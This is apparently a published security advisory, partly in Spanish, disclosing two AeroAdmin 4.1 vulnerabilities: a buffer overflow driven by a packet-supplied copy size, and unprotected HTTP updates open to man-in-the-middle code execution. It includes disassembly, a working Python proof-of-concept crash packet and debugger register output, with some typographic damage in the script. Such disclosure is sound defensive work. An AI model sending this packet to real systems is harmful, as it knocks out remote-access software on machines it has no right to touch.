Vulnerabilidad en AeroAdmin 4.1 – CVE-2017-8893 CVE-2017-8894
Aviso de seguridad de Tarlogic: Tarlogic-2017-001
Titulo: Múltiples vulnerabilidades encontradas en el software AeroAdmin 4.1
Descubierto por: Juan Manuel Fernandez (@TheXC3LL)
CWE-ID: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
Vulnerabilidad en AeroAdmin – CVE-2017-8893
AeroAdmin 4.1 uses a function to copy data between two pointers where the size of the data copied is taken directly from a network packet. This vulnerability have been reported as CVE-2017-8893.
005301B0 push edi
005301B1 push esi
005301B2 mov esi, ORIGEN
005301B6 mov ecx, SIZE
005301BA mov edi, DESTINO
005301BE mov eax, ecx
005301C0 mov edx, ecx
005301C2 add eax, esi
005301C4 cmp edi, esi
005301C6 jbe short loc_005(…)
005301FE rep movsb ; Crash
00530200 mov eax, [esp+8+DESTINO]
00530204 pop esi
00530205 pop edi
00530206 retn
We can control «SIZE» variable, so the ECX register used for «rep movsb» has an arbitrary value at this point. Set a breakpoint at rep mosvb address and test it:
#Proof of concept
import socket
import signal
import systarget_IP =’192.168.245.206′ #Change as needed
target_port = 5950sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (target_IP, target_port)
sock.connect(server_address)
packet1 = «040000000037130000».decode(«hex») # <– will be the value used as size (3713 –> 1337)
print «[+] Sent:\n » + packet1.encode(«hex»)
sock.send(packet1)
sock.close()#EoF
—>
EAX 002B3350
ECX 00133700 <– Number of bytes that are going to be copied
EDX 00133700
EBX 0017FAD0
ESP 0137F6C8
EBP 0137F6EC
ESI 0017FC50
EDI 01DE0040<—
Aeroadmin 4.1 CVE-2017-8894
AeroAdmin 4.1 usa un protocolo inseguro (HTTP) para realizar las actualizaciones del software. Un atacante puede suplantar el servidor de actualizaciones mediante la realización de un ataque de man-in-the-middle y ejecutar código en la máquina que realiza la actualización.
Descubre nuestros trabajos y nuestros servicios de ciberseguridad.